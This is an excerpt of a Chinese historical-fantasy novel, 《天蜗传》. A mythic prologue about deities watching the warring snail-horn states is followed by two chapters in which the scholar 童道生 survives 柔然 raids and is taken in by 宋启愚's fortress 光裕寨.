《天蜗传》 引子 蛮触之争 相传,纣王自焚、商朝灭亡后,女娲娘娘仍然无法释怀,常恨恨地说:“我堂堂圣母,万物的创造者,无论是谁都应恭顺于我,可没想到,竟然有下界狂徒亵渎我的躯体,若有一日,我发起怒来,定叫山海崩塌,岩浆四溢,星月倒转,宇宙消亡。”南海帝仙倏和北海帝仙忽听说此事后,相约来找女娲,为她排解怨气。 女娲娘娘热情地款待了倏和忽。待饮过仙露后,倏笑呵呵地说:“我俩近日闲暇,研究了一个小游戏,特来与女娲娘娘分享。”女娲饶有兴趣地说:“上仙所制必是佳品,快拿出来让我瞧瞧。”忽闻言,伸出右拳,拳眼朝上,说道:“此物就在我掌中,个头虽小却能窥透人间奥秘。就请娘娘解闷一观。”说着,北海帝仙将手一扬,半空中出现了一道彩虹,一个晶莹剔透的亮点在彩虹正中缓缓蠕动。女娲娘娘看不清楚,便问道:“二位上仙,恕我愚钝,那是什么?”倏张开双手,略微一收,那亮点立即飞到了三仙面前。倏笑眯眯地说:“娘娘请看。”女娲娘娘定睛观瞧,原来是一只炫彩蜗牛正在慢吞吞地爬行。她有些失望地说道:“此物虽然精致,但不过是蜗牛而已。”忽哈哈大笑着说:“娘娘此言差矣,这可不是凡物,此乃七彩天蜗。娘娘请再细瞧。”女娲这才仔细观察那只天蜗,但见在天蜗的两个触角上各有一个国家,里面生活着数百万人口。忽说道:“这天蜗左触角上的国家叫触氏,他们供奉的尊神是南海帝仙;天蜗右触角上的国家叫蛮氏,他们供奉的尊神是我。”女娲盯着天蜗触角上的人,问道:“二位上仙,那些人在干什么?”倏凑近了说:“他们在求神。触氏求我保佑他们,还要我降灾于蛮氏;而蛮氏求北海帝仙保佑他们,降灾于触氏。你瞧,那些蛮氏的人开始咒骂亵渎我了。再看,触氏有人在咒骂忽,他们还烧了忽的神像。我猜他们很快又要打仗了。”倏的话还没有说完,天蜗触角上的两个国家就发生了战争,转瞬之间,在那片土地上已经伏尸数万。最后,触氏吃了败仗,蛮氏的军队在后面一直追击,竟然追了十五天才撤回。倏和忽各自捻着胡须笑嘻嘻地看着女娲。忽说道:“女娲娘娘,问你个问题,如果有人向你许愿,你会怎样做呢?”女娲稍有迟疑,说道:“我会根据他们的实际情况,帮助为善的人,惩罚作恶的人。”忽哈哈大笑,然后说:“娘娘错了。若有人求到我们两个,我们就谁都不帮,因为物力总是有限的,给了某人就意味着另一个人失去,得到者会更加虔诚地求告,而失去者会在心里诅咒。也就是说,只有我们谁都不帮,才能让人类一直都央求神仙,敬畏我们。况且,万事万物皆有规律,人们认知必须经历一个长期的过程,否则,他们又怎么会珍惜得来的一切呢!”倏低头看着天蜗触角上的国家,说:“世间万物皆可衡量,唯人心难测。你们瞧,这几个统治者认为自己无所不能,也把自己当神了。再看看那些受欺负的底层百姓,他们没人撑腰,除了在心里咒骂以及求神之外,竟对欺负他们的人毫无办法。快看,这个贵族发动了政变,他当了王。我猜他还会继续发动战争。”果然,没过一会儿,蛮氏和触氏又因衣物是在左边系带子还是在右边系带子闹起了矛盾,并最终演化成了一场惨烈的大战。女娲略有所悟,脸上渐渐绽开了笑容。她说:“二位不愧是上仙之祖。本尊明白了,神与人各有烦恼,且不在一个维度,我实在不该与凡人置气,好了,我不再生气了。” 南海帝仙倏点指着天蜗触角上的人说:“这些下界的人确实可恨。他们充满欲望,易被诱惑,缺少自律,不讲规矩。为此,我们该给他们设置一些壁垒,用自然的铁律和公共的契约束缚这些人,让他们慢慢学会敬畏和尊重。”北海帝仙忽摸了摸额角,说:“这恐怕不易,生活在迷雾中的人又有几个能看清楚方向呢?”女娲噗嗤一声笑了起来,说道:“二位上仙,刚把我劝明白,你们却糊涂了!凡人的困惑自有凡人解,凡人的争斗自该凡人息,他们多变的历史只该他们自己去探寻,我们又何必操心呢!”三位上仙各自顿悟,他们相视大笑,飘然而去。在他们身后,一道彩虹滞留半空,数千颗亮点闪烁其间。 蛮触之争流传后世,白居易写诗感叹道:蜗牛角上争何事?石火光中寄此身。随富随贫且随喜,不开口笑是痴人。又有诗云:伟哉造物真豪纵,攫土抟沙为此弄。永辞角上两蛮触,一洗胸中九云梦。 下面,请随我在那道彩虹中摘下一颗晶莹的亮点,听取一段似真似梦的故事。 第一回 划破噩梦的一点星光 断壁上庄严巍峨的佛像似乎洞察了世间的一切,露出悲悯的微笑。童道生和他的父亲跪在佛祖脚下祈求风调雨顺、国泰民安……恍惚间,窟顶的飞天翩翩起舞……突然,一张狰狞的脸浮现在眼前,铁兜鍪泛着黑色的闪光,隐约还能看到凝干的血渍;兜鍪边缘几滴血珠缓缓滴下,一副打卷的络腮胡已经有一部分被血污粘连在一起;这张脸突然瞪大了褐色的眼睛,张开了血红酸臭的大嘴,甚至他的几颗牙齿在阳光下也发出了森森的光。圆月弯刀随着喝喊的杀声砍将下来…… “父亲……”童道生满头冷汗呼叫着从噩梦里惊醒。他满眼血丝,泪水夺眶而出。“读这么多书有什么用?在柔然兵面前我就是个废人!”他痛苦地用手掩面抽泣着。过了好半天,童道生才稍稍平复,周围隐约传来妇孺哭叫的声音。他抬眼一看,自己正躺在小道边的一棵树下,借着夜幕的星光模糊可以看到附近还横趴竖卧着百十个逃难的人。他这才回忆起几天来发生的事情。 童道生出生在云冈村一个老学究的家庭,不到五岁便跟随父亲读书习字,十岁时还到大同府学进修过两年,十四岁首下闱场便得中秀才,成了闻名全府的才子。父亲原来打算等来年儿子过了十六岁便送他进京参加恩科大比。可谁成想,六月初,突然传来噩耗,在位十八年的老皇帝驾崩了,大周王朝失去了掌舵人。后来,又有消息传来,太子石磊即位。当“大赦天下”的布告贴到云冈村口的时候,人们都以为能象以前那样享受太平时光。可到了秋八月,关于柔然联合北燕、西羌欲趁大周国丧、新君继位之机进犯中土的传言就在民间引起了极大的恐慌。就在五天前,柔然乌利可汗统率数万大军南下,一举包围了大同城。乌利可汗还派出多支小部队在大同城周边肆意“打草谷”,将俘获的人畜财物押回北方。正在云冈石窟礼佛的童道生父子和十几个同乡突然遭遇了一小队柔然骑兵,在被追赶包围之前,父亲担心自己身体孱弱难以逃脱又害怕被俘后受辱,就命令童道生拼命向南跳十里河逃生,而他自己则鼓起了一股邪劲主动迎向了柔然兵。父亲被杀是童道生跳河前看到的最后一个场景,他只觉得血火沸腾,之后便什么也不知道了。第二天清晨,一个老艄公在石滩上救醒了他,还给了他半个黑面馍。童道生本想回云冈,可跟逃难的人一打听才知道,云冈一带各个村镇都被柔然人劫掠,能活下来的人大部分都在向雁门关逃难。他便也跟随人流向南逃亡,直到耗尽最后一点力气,天也完全黑透了,才瘫倒在路旁。 童道生想哭,可是泪水换不回自己的亲人;他想死,可是一想到父亲被杀家园被毁,他又怎能不报这血海深仇;他想求救,可是举目无亲,叫天天不应,叫地地不灵……童道生迷迷糊糊地又躺了一会儿,天蒙蒙亮的时候,投军杀敌成了他唯一的想法。他一骨碌从地上爬起来,捡了一根粗些的树棍当手杖,顺着小路继续向南走去。 约莫走了一个时辰,前方出现一条小溪,童道生又渴又累,他紧跑几步一头扎进溪里饮了个水饱。等他坐起来才发现不远处有五六个难民正在用破瓦罐煮野菜充饥。野菜的香味弥漫在空气中,饥饿感一下子占据了童道生的所有空间。他蹒跚着走到火堆前拱手问候:“乡党,给口吃的吧。”一个中年男人只抬了抬眼皮,满脸疲惫地说:“小兄弟捡根草棍自己捞着吃吧。这地方,野菜还是有的。”一个妇人则默默地将一大把野菜丢进了罐子里。童道生也顾不了那么多,夹起煮过的野菜狼吞虎咽地吃了下去。 这时,旁边的一位老者仔细打量了童道生一番,问道:“是童家秀才吗?”童道生一愣,扭脸辨识,原来老者是本村的樵夫张老爹。危难之中见到乡亲,一老一少抱头痛哭,周围的人也纷纷拭泪。叙谈之后童道生才得知,当日自己跟着父亲去石窟后,几十个柔然兵突袭了云冈村。张老爹在山上砍柴时,亲眼目睹全村被劫掠,年老的人多数被杀,妇女和年少的则全被掳走,最后,柔然兵还在村里放了一把大火……这时,张老爹似乎突然想起了什么,脸上也有了一丝生光。他转身推了推侧躺在身边正在熟睡的小女娃:“娃娃,娃娃,快醒醒,你看谁来了?”小女孩抽搐了一下,下意识地用手护住自己,惊恐地看着周围。当她认清是童道生的时候,她突然跪趴了几步,两只小手抱住童道生的腿大声哭喊:“堂哥,救我。”原来,女孩是童道生三叔家的小女儿童雅琴,还不到七岁。童道生把妹妹抱到怀里,心里又是一阵难过。张老爹一边抹泪一边说:“我看柔然兵走了,就仗着胆子跑回村里。到处是死人,到处是烧焦的木头。我把能找到的尸首都投进了村头的枯井里。我在村里嘶喊着‘有人吗’,最后除了这女娃没有一个人应声。你三叔情急之中把她藏在茅厕后面的石缝里,她才捡了条活命……” “我们快走吧。”中年男人看了看天说,“再往前就到应县地面了。或许柔然兵到不了那儿。”简单收拾之后,几个逃难的人继续南行。重新见到亲人的小雅琴一下子恢复了天真烂漫,一会儿扯着童道生快步向前,一会儿又绕着张老爹跑来跑去。童道生也会偶尔采几颗野莓给妹妹吃,采几朵野花插在妹妹头上。妹妹累了,童道生就背着她继续走。 天近傍晚,太阳已经不再灼人,金风拂面,凉爽惬意。一行人走到了官道上,这里离应县县城已经不远了,大家悬着的心也放下了一多半。可就在这时,远处传来岔了音的呼喊声:“柔、柔然兵,柔然兵……”紧接着便有人开始惊慌奔窜。只见在逆光中一队秃脑门、编辫子的轻装骑兵呼啸而来追逐砍杀着路人,其后还有几个边民模样的人在翻检着行李和尸体,将其中值钱的东西扔到两辆插着青旗的牛车上。童道生见状背起小雅琴拉了一把张老爹转身就跑,边跑边招呼其他人:“快走。柔然人来了。快走!”还没跑出半里地,背上的小雅琴就拍着童道生喊:“张老爹,张老爹摔倒了。”童道生刹住脚步,刚要回来救人,一个柔然骑兵已经高举着马刀冲到了张老爹跟前。情急之下,张老爹从腰间抽出砍柴斧用力向柔然骑兵横劈过去,整个斧头都砍进了马的身体里。可与此同时,柔然兵的马刀也重重落下将张老爹斜着劈为两半。那战马又踉跄着向前冲了几步,猝然倒地,抽搐着发出濒死的粗喘声。马上的柔然兵被甩出数丈摔在地上,叽哩哇啦地叫着,好半天也没能起身。借着这个空当,童道生背着妹妹头也不回地拼命往山林跑去。可是,人怎么跑得过战马呢。没多大一会儿,童道生就听到马蹄声离自己越来越近,他脚下一滑,兄妹俩就摔倒在草丛中。此时,看着柔然骑兵离自己只有几丈且还在步步紧逼,童道生抱着妹妹放声大哭,他知道自己兄妹到了最后时刻。 一道寒光,鲜血迸溅。 “啊!”一声惨叫把童道生吓得一激灵。他赶忙睁开眼睛,面前的柔然兵已然中箭落马,献血顺着箭杆从他的胸前向外喷涌着。这个柔然兵大瞪着双眼,嘴里又咕哝了一句什么,便再也不动了。近旁的两个柔然兵听闻动静不对,赶紧放弃各自“猎物”向童道生兄妹扑来。随着“着”的一声,一枝飞箭穿透了一个贼兵的脖子,尸首从马上一头贯下。紧接着,又是“着”的一声,另一个柔然兵也应弦而倒。 童道生揉揉眼睛仔细观瞧,在西南边的山道上立着三骑,正当中一位骑白马穿白袍,一手执长弓,一手抚箭袋,稳如泰山,威风凛凛;左边一位骑黄马穿灰袍,右边一位骑黑马穿黑袍,二人皆手执长刀,悬缰勒马。夕阳下,这三人光环附体,犹如天神下凡一般。 此时,剩下的七个柔然兵匆忙集结,他们简单商量后,排开一字横队,举刀纵马冲了过来。白马骑士见状轻笑一声:“国栋向左,长白向右,中间几个我来对付。” “好嘞。”随着答语黄黑两骑一齐冲出。转瞬间,这二人手起刀落便将柔然两翼的骑兵斩落马下。另外五个柔然兵见同伴被杀,只稍做迟疑,便一同向白马骑士扑了过来。白马骑士不慌不忙地背起长弓,抽出宝剑,控制着坐骑纹丝不动,只冷眼看着敌兵越来越近。就在柔然骑兵离自己还有五六丈远的时候,白马骑士突然把手指伸进嘴里“吱喽喽”打了一声呼哨。柔然兵的战马就象中了邪魔一样前蹄腾空,原地撂起了蹶子。几个柔然兵猝不及防,三下两下便被掀翻在地,兵器也扔出了好远。白马骑士甩镫跳下战马,紧跑几步,呼喝一声,用剑背在五个柔然兵身上狠抽几下。五个柔然人再也站不起来,只能趴在地上吱哇号叫。 “还是宣道兄相马的本事大呀!”先前砍杀一名柔然骑兵的黄马骑士兜回马来笑着对白马骑士说到。白马骑士微微一笑:“雕虫小技罢了。把他们几个绑了,带回去交给曹可用审问。” 几度踏入鬼门关都大难不死的童道生恍恍惚惚地拉着妹妹扑倒在白马骑士面前,以头抢地:“敢问英雄高姓大名?我兄妹二人全赖英雄搭救才得以保全。某无以报效,唯有将英雄名号供奉于生祠之中,时时参拜,祈求上天保佑英雄长生,万代封侯。”白马骑士看着眼前文弱少年带着幼妹向自己行此大礼心有不忍,连忙用手把兄妹二人扶起来,说道:“不敢当,公子言重。我家住五十里外的光裕寨,姓宋,名启愚,字宣道。”他又指了一下黄马骑士说:“他姓席,名军民,字国栋。另外一位姓吴,名襄,字长白。都是我的好友和副将。” 童道生原本已经站起身子,当听到“光裕寨宋”几个字时,他赶忙后退一步,恭恭敬敬地二次跪倒,磕了个长头,说:“原来是五世守边、保卫桑梓的宋家门族。我大同乃至山西百姓百十年中全靠尊家庇佑。童道生拜谒老令公后人。” 宋启愚见对方如此郑重,也收起笑容,还了一揖,说道:“公子请起吧。”然后又略有所思说:“童道生……公子的名字好生耳熟呀。”童道生起身又作了个揖说:“去年春闱,蒙府学抬爱,恬得上榜。”宋启愚郑容说:“我长你几届,算是你的学兄。你有功名在身,以后在我面前不必下跪。你怎么流落到这儿了?”攀谈间,童道生才仔细打量眼前的恩人,只见宋启愚二十四五岁年纪,脸色微红,眉宇间显现着英气和活力,而神情和动作又透出与其年龄不相符的沉稳和干练,最特别的是在他的左脸外侧有一丝只有近看才能得见的白色蜗痕。 这时候,远处喊“打”的声音大了起来。宋启愚抬头望去,原来是吴襄押着柔然人的两辆牛车和跟车的几个民夫过来了。先前被柔然兵撵得四散的难民,一看敌人已经被消灭,悲痛和仇恨一下子爆发出来,纷纷从四面围向了牛车,尤其是有亲朋被害的人一边喊着“打”,一边捡拾着棍棒石块向跟车的“汉奸”砸去。转眼间,已有两个民夫被打得头破血流。宋启愚急忙上前喝止住大家:“住手。国家自有法度在,把他们交给官军处理吧。”难民们见救命恩人到了,纷纷跪倒,不住地磕头。宋启愚让乡亲们都起来,并帮他们找寻亲人,救治伤者。他又交代几个年轻力壮的难民押着“汉奸”搬抬尸体,在道路近旁挖掘了坟坑。童道生把妹妹留在宋启愚身边,而他自己则去给张老爹收了尸。 天完全黑了,席军民和吴襄张罗着点起了三堆柴火。当人们给死难者下葬的时候,坟坑近旁哭声一片。宋启愚神色怆然,双手合十,低头祷告着。童道生带着妹妹趴在坟前给张老爹磕了三个头,算是送别老人家最后一程。 宋启愚叫过席、吴二人,跟他们商量说:“我看这些逃难的乡亲多半都被洗劫,你们先把柔然人的食物分给大家吃,衣物分给大家御寒,然后把牛车上的财物也分给大伙,好让他们投亲靠友、自谋生路。我们只带走那几个柔然俘虏、战马和牛车。”近旁的一个小伙子听宋启愚这样说,转身跪下来说道:“宋恩公,我全家都被柔然人祸害了。我原想去投军。可现在,我情愿投到您的门下,给您牵马坠蹬,再为家人报仇!”小伙子怕宋启愚不要他,又补充道:“我年轻,有的是力气,只要恩公能把我留下,让我干什么都行。”宋启愚觉得小伙子蛮真诚,就问:“你叫什么名字?”“王虎。”小伙子忙不迭地回答。宋启愚又说:“那好,你就先跟着席国栋吧,好好学点本事,也能杀敌立功。”周围的人听说小伙子被宋公子收留了,呼啦一下又跪倒了二三十个。这些人也纷纷要求归附光裕寨。童道生心里一动,自己一样是家破人亡,自己也想投军报仇,而且幼妹又要有人托付,眼前这位宋公子不正是可以依靠之人吗。童道生走到宋启愚面前,一躬到地:“我兄妹穷途末路、无处投奔,也想跟随学兄。我也见识到了,学兄的本事远在他人之上,某情愿终生为学兄驱使,永不相背。”宋启愚想了想,说到:“你有功名在身,国家不会不管,他日你尽可为国报效。不过,既然你现在无处可去,那就暂留我身边,你妹可交由我母亲照料。”宋启愚又转脸面向众人说道:“大家有亲戚可以投奔的,一会儿领些财货衣食,自行赶路。其他无家可归的,可到五十里外的光裕寨落脚,就说是我宋启愚容留的,便会有人接待。” 简单地用过了晚饭,宋启愚叫过王虎,命他带上几个人押送被俘的民夫,抬着柔然兵的尸体,送到五里外的龙潭军哨,用以报官。而他自己则带着席、吴二人以及童道生兄妹和那几个俘虏连夜动身赶回光裕寨。 童道生抱着妹妹坐在牛车上。他仰头望了望满天星斗,又向前看了看骑在马上手举火把引路前行的宋启愚。他无限感慨,恍若隔世。突然,一颗流星从天罡位置划过,明耀异常,几乎照亮了半个夜空。 童道生太累了。不知不觉中,他已沉沉睡去…… 第二回1 将星试翼 天近寅时,宋启愚一行驻马于滹沱河畔。远处隐约出现了一座高大寨城的轮廓,那是宋氏一族耗费几代人的心力才建成的家园堡垒——光裕寨。 光裕寨依山修造,并引流加宽滹沱河作为西、北两面的护城河,间作水利灌溉设施,城寨周边开垦有万亩良田;而城寨内又根据地势分为两个阶梯修有两层寨墙;此外,虽说是山城,但在寨内有大片适合耕作的平地。凭借着险要的地势和巧妙的设计,二百年来,光裕寨巍然屹立在山西北部,护卫着这一方乡土的平安。 “长白,发信号,告诉他们我回来了。”接到指令的吴襄从怀里摸出一个小铁哨,“嘟~嘟~”地吹了几下。很快,寨墙上亮起了灯笼和火把,接着就有哨声传来。吴襄又用哨子答对了几声。滹沱河上的吊桥慢慢放下,随着寨门徐徐开启,四名团练兵打着火把分列在吊桥两侧。一个十七八岁的小伙子快步跑到桥头,高兴地喊道:“二哥,你们回来了。”宋启愚一瞧,原来是二叔的少子宋启麟,便下马迎上去招呼道:“四弟。”寒暄之后,宋启愚想了想问道:“我记得今天应该是曹可用值班吧,这个‘夜猫子’呢?”宋启麟笑了笑说:“曹可用真是你的好朋友。昨天他听说你要去侦察敌情,就说你心细,肯定能抓几个俘虏回来,为了有精神审犯人,他就求我替他当班。这会儿……”宋启麟话还没有说完,从城门洞里就传来一个瓮声瓮气的声音:“‘夜猫子’在这儿!”紧接着,一个长着络腮胡子魁梧健壮的青年手举火把大踏步地走了过来。他见到宋启愚直接撞了一下肩膀,算是行礼,“好兄弟,抓柔然兵这种事咋能不带着我呢?便宜了国栋和长白。俘虏都交给我,我保证撬开他们的嘴。” 先前牛车快到光裕寨的时候,童道生已经醒了。他发现自己兄妹身上盖着宋启愚的棉布战袍。此刻,他把袍子轻轻搭在妹妹身上,下了牛车前来给众人见礼。宋启愚先介绍了堂弟宋启麟,又拉过曹可用说:“小先生,这是曹可用,长我三岁,祖籍大同。他少时被柔然人掳走,在柔然生活了十几年,是我用三十斤茶叶把他换回来的。他最大的本领是能熬夜,可以几天不睡觉。”受正统思想浸染的童道生心里其实有些看不起曹可用,但碍于宋启愚的面子,还是勉强作了个揖,问了声好。 进得寨门,穿过瓮城,道路正中矗立着一扇巨大的砖雕屏风。屏风上阳刻出四个泥金大字“光前裕后”。这四个字写得苍劲有力,在火把的照耀下射出熠熠的光辉。宋启愚转头唤过曹可用,说:“你押着俘虏先走,问清楚柔然人的情况来团练公所找我。”他又对吴襄和席军民说:“长白,国栋,把缴获的战马送到马场。你们回家还能睡上个把时辰。”二人应诺,办差去了。 宋启愚回过马与牛车并排前行。他指着屏风上的金字对童道生说:“小兄弟,这‘光前裕后’四个字是前朝宣宗皇帝为我祖上所题,故而每年都要用金料重新涂装。”童道生不住地点头赞叹。眼看曹可用已经走远,宋启愚压低声音说:“小兄弟,我辈读书人且不可酸腐,应诚心待人。曹可用经历坎坷,可谓传奇,六七岁时随母亲被柔然掳走。部落首领收他为养子,教他语言、习俗和本领。再往后,部落被袭击、亲人被杀,他逃亡两年,沦为奴隶。我十五岁时跟着祖父到柔然贩马,见柔然人正在用鞭子打他,就把他赎了回来。也幸亏他机警,才使我祖孙在回来的路上躲过了柔然人的抢劫。从那以后,每次远行,我都会带着他,他也数次救过我的命。你别看他外表五大三粗,其实他心很细,有很多优点,故而我们以朋友相称。前几年,家翁还把我的远房表姑许配给他,若按辈分来算,我还是他的晚辈呢。”童道生羞愧得满脸通红,连声致歉。宋启愚也不多加责备,接着说:“现在寅正刚过,离内城开门还有一个多时辰,恐惊扰了长辈,我们就在前面迎宾舍住上一晚。明日你兄妹不必早起,我会安排人接待你们。” 天色微明,几声哨音从光裕寨东面的营地传来。一名身着蓝布裤褂背着铁刀的健硕汉子手握着鞭子站在两间营房前大声呵斥着:“动作都快点,集合……伍长检查各伍人员、兵器……列队。宋承康呢?你太慢了,进队。听我的命令,出操。”五十名身着灰布衣裤的团练兵排着队列向校场跑去。蓝衣汉子边跑边喊:“我们吃谁的饭?我们穿谁的衣?我们听谁的命令?”兵卒们答道:“我们吃光裕寨的饭。我们穿光裕寨的衣。我们听光裕寨的命令。”对面不远处,席军民也把自己带的兵卒集合完毕,列队向校场跑去。另外几支队伍也陆续向校场集结。当蓝衣汉子带兵进入校场的时候,在碉斗旁的指挥台上已然站立一人。此人沉稳干练,脸色微红,左脸外侧有一丝白色蜗痕,原来正是宋启愚。蓝衣汉子将队伍带到指挥台前,躬身行了个礼说:“团练,今天又是我们‘裕’字哨最快。五十个兵卒一个不缺、一个不少。”宋启愚欣赏地点了点头说:“光照,兵带得不错。按老规矩,今天‘裕’字哨和值班守城的‘永’字哨午饭加肉菜。”台下“裕”字哨的兵卒们个个面露喜色。此时,席军民也把队伍带了过来,不服气地对蓝衣汉子说:“董阳,又被你抢先了。”然后,他回头对本哨说:“今天要加练,明天我们也得吃肉。” 宋启愚见队伍陆续到齐,就下令各哨带开,正常训练。宋启愚在练了一会儿拳脚后,便只身出了校场,顺着东街向内南门走去。一路上,早出的寨民们纷纷跟宋启愚打招呼。宋启愚也笑着拱手应答。 其实,自打进了光裕寨童道生就再也没有合过眼,自己的经历和几天来的遭遇总在他的心中萦绕。宋启愚他们离开迎宾舍的时候,童道生一骨碌从床上坐起来。他轻轻拉开屋门,来到院子里,长长地吸了一口清爽的空气。他缓步走到大门外,石板街两侧的寨民都还没有起,街上冷冷清清的,远处的“光前裕后”砖屏还矗立在街口,道边的树木一动不动,树冠上挂着一层白露。童道生感受到了前所未有的宁静与安详。当他回到院子里的时候,一对中年夫妻刚准备下灶忙活。男人看是童道生,赶忙笑着迎过来说:“小先生咋起那么早呢!团练交代过要好生看待先生。您先回屋坐,小人这就准备茶饭。”男人一边让着童道生一边招呼女人说:“快烧水,给先生洗脸用。”童道生连声道着有劳。 这座光裕寨始建于二百三十多年前,当时天下大乱,战火频仍,宋氏先祖为避祸从河南迁居山西,以种田贩牛马为生。随着资产的增加、实力的增强,宋氏开始慢慢建立寨堡、蓄养武装。一百五十年前,宋氏远祖因剿灭山贼有功而晋封副尉。在此后的一百多年间,为了对付突厥、柔然、奚等少数民族对北方的威胁,中原政权先后册封宋氏五代九人为大同、代州、云州等地的官员或边关镇将。宋氏更是代代都有子孙战死沙场,为国捐躯。七十年前,前朝的宣宗皇帝在北方被困,是宋氏高祖救其脱险。为表彰宋氏忠烈,宣宗皇帝御笔题写了“光前裕后”牌匾,致使光裕寨名声大振。此外,光裕寨还屯垦、畜牧、生产、买卖,并在山里开采煤矿,陆续归附光裕的边民达到了一千七百多户,近万人口。三十多年前,大周开国,宋启愚的祖父因得罪代郡藩王由雁门关镇守改任闲散官职。当年刚过而立之年的宋老太公负气辞官,回归故里,专心发展生产,教授子孙,保护地方,这才有了现在兵备完善、固若金汤的光裕寨。 进了内南门,过了文庙、祠堂和寨仓,宋启愚回到了宋氏老宅。这所宅院在一众临街的建筑中并不格外扎眼,院墙古朴破旧,但它门楼的高度却要远远高于其它房屋,垂花门的结构也十分繁复,大门外一对石狮雕得威风凛凛,尤其是门楼上挂着的“光前裕后”金匾,彰显着这里的与众不同。值班的管家见宋启愚进了头道门,连忙迎上来陪着笑说:“二少爷回来了。老太公正在后园等着您呢。”宋启愚边走边问:“老太公又看曾孙们练功的吧。我父亲、二叔、三叔他们去给太公请过安了?”管家答道:“是,老爷们问安后都回自己院儿了。现在只有五少爷在太公处教孙少爷们练拳……”说话间,宋启愚已经穿过了二门和正厅,来到了后园月洞门边。他收住脚步,悄悄往园内望去。园中央的空地里,一白面少年正在指导着一个幼儿笨拙地练习基本功;旁边一个七八岁的男孩正在施展着一套拳脚,看样子已经比较熟练;一位老者背对着宋启愚站在园子东北方的石缸前,正悠闲地给鱼儿喂食。练拳的男孩眼睛尖,最先看到宋启愚。他收住招式高兴地跑过来拉住宋启愚就往院里拽:“太公,二叔回来了。太公只顾等二叔,都不看我练拳了。”宋启愚抱起小男孩走着说:“二叔看了,承宗拳练的不错,都快赶上二叔了。你是家里最大的孩子,以后要带着弟弟妹妹们有一番大作为呀。” 第二回2 将星试翼 石缸前的老者听到声音沉稳地转过身来。老人须发皆白,脸色红润,腰杆挺直,衣着干练,精神矍铄。宋启愚放下承宗,紧走两步,跪在地上给老人磕了个头说:“孙儿给祖父请安。”宋老太公微笑着把宋启愚扶起来,然后对白面少年说:“启智,今天就练到这儿吧。”那个幼儿收了架势,先规规矩矩地给太公行了个礼,然后,站起来张开小手就扎到了宋启愚怀里,奶声奶气地说:“大,小麻雀能吃吗?”宋启愚慈爱地抱着儿子说:“做熟了当然可以吃。”儿子用小手指着前面问:“大,那是什么呀?”宋启愚笑眯眯地说:“那不就是一只小麻雀吗。”儿子又往旁边一指问:“大,那是什么呀?”宋启愚又笑眯眯地说:“那也是一只小麻雀。”……儿子前后问了十几遍。宋启愚笑眯眯地答了十几遍。逗得老太公哈哈大笑:“你这个小承宇呀,真会讨大人开心呀!这点象你父亲。”宋承宗撅着嘴说:“太公偏心眼,我打拳还说我动作不对,弟弟做什么都被太公夸奖。”宋启智上前说:“承宗八岁了,弟弟还不到五岁,对大孩子当然要严格要求了。”宋启智头一歪又说:“太公最偏心的其实是我哥,从小就带在身边,还教他兵法、相马。”宋老太公又呵呵笑道:“对亲哥你还嫉妒呀。我那些本事都教过你们,但包括你爹、你叔还有你们都学不会。相马是需要特殊能力的。再说兵法,你们有谁象你哥那样把我书斋里的书全都看完的。”宋启智犟嘴道:“我看的书是比他少,可我的拳脚肯定比他强。”宋启愚笑着说:“对,对,对,兄弟的功夫肯定比我高得多。启智,先带着侄子们去用饭吧,我跟太公谈点事。”宋启智仍然不服气地说:“本来就是我厉害。你们谈正事又不给我说,不就是打柔然吗,我也能帮忙。”宋启愚上前抚着兄弟的背说:“还真有事要让你办。我救了个秀才叫童道生,跟你年龄相仿,你代我先接待他几天。去的时候你再来找我一趟,我给他兄妹俩准备两套衣服烦你带去。”宋启智一听有任务,顿时来了精神,随答应一声,领着两个侄子,高高兴兴地走了。 宋太公带着孙子进屋后,急切地问道:“孙儿啊,情况怎么样?”宋启愚扶太公坐下,说:“昨天我先到了大同,城池已被包围,从营地大小判断敌军有五六万人,柔然人还派出小队侵扰周边村镇。孙儿打了几仗,但柔然人的援军来得太快,孙儿只能速战速决,打完就撤。其后,孙儿又到了应县,那里只有柔然的小股骑兵,县城还算太平。孙儿本想向南到雁门关侦查,结果遭遇了柔然兵,抓了五个俘虏,已交给曹可用审问,今天晚些时候我们就能知道柔然调用了哪些部众和配置情况。”宋太公捻着胡子沉思了片刻说:“依你所讲,一定是柔然主力南下,那么他们的目的就不仅仅是抢劫,而是要占领大同乃至山西,朝廷必须调集大军倾尽全力击败柔然才行。我们光裕寨也必须做好准备。目前,大同的守备比较强,两万守军训练有素,粮食储备也算充足,短时间内不会陷落。但大同周边的几个县城大多只有一两千守军。随着柔然后续部队的投入,一旦他们攻陷了应县,陈兵雁门,他们一定会派出军队延长城一线搜索。那时候我们很可能会面对几千柔然兵的进攻。你准备如何应对?”宋启愚崇敬地看着祖父说:“老人家,我原先最担心的是家里人紧张害怕,今天在后园门口看到您气定神闲,我就一下子放松了。”宋太公朗声大笑道:“哈哈……我快七十岁的人了,这一辈子经历了多少大起大落,我越稳当,寨子里的人就越安心,我们的结果就越光明。”宋启愚从怀里摸出一张图纸铺在桌子上,用手指点着说:“祖父,这是我早上抽空画的地形图。进出我们光裕的道路一共有三条,由东北向西南的沿河路蜿蜒狭窄,不适合大军通行,若布下陷阱和障碍,再派出少量兵力把守,便能长时间阻挡敌人的攻击;西北方向的山道也只适合单人轻装通过,只需派出哨位监视和阻击就可以了;真正需要防卫的是北面大路。这里由我亲自指挥,若来的是小股敌人,我们直接吞了他,若敌人大军到来,我准备在矿山峡谷地区消灭他们。具体方案我还想再斟酌斟酌,我只求祖父组织好寨内的防卫,并且多给我调拨一些开山用的火药和桐油。”宋太公不住地点头说:“孙儿啊,你真长大了,五年来你采用新的操典方式治军是我这个老朽难以想象的,以后军事上的事情我可以放心交给你了。寨子里能调用的火药和桐油我全都给你,不够的我再派人采买。明后两天我就命人张贴告示,各家男丁都要加入团练,保卫光裕。另外,孙儿你毕竟没有真正指挥过大的战争,打仗没有绝对能赢的事,万一不利,你就带着人回来,咱们祖孙再跟敌人决一死战……” 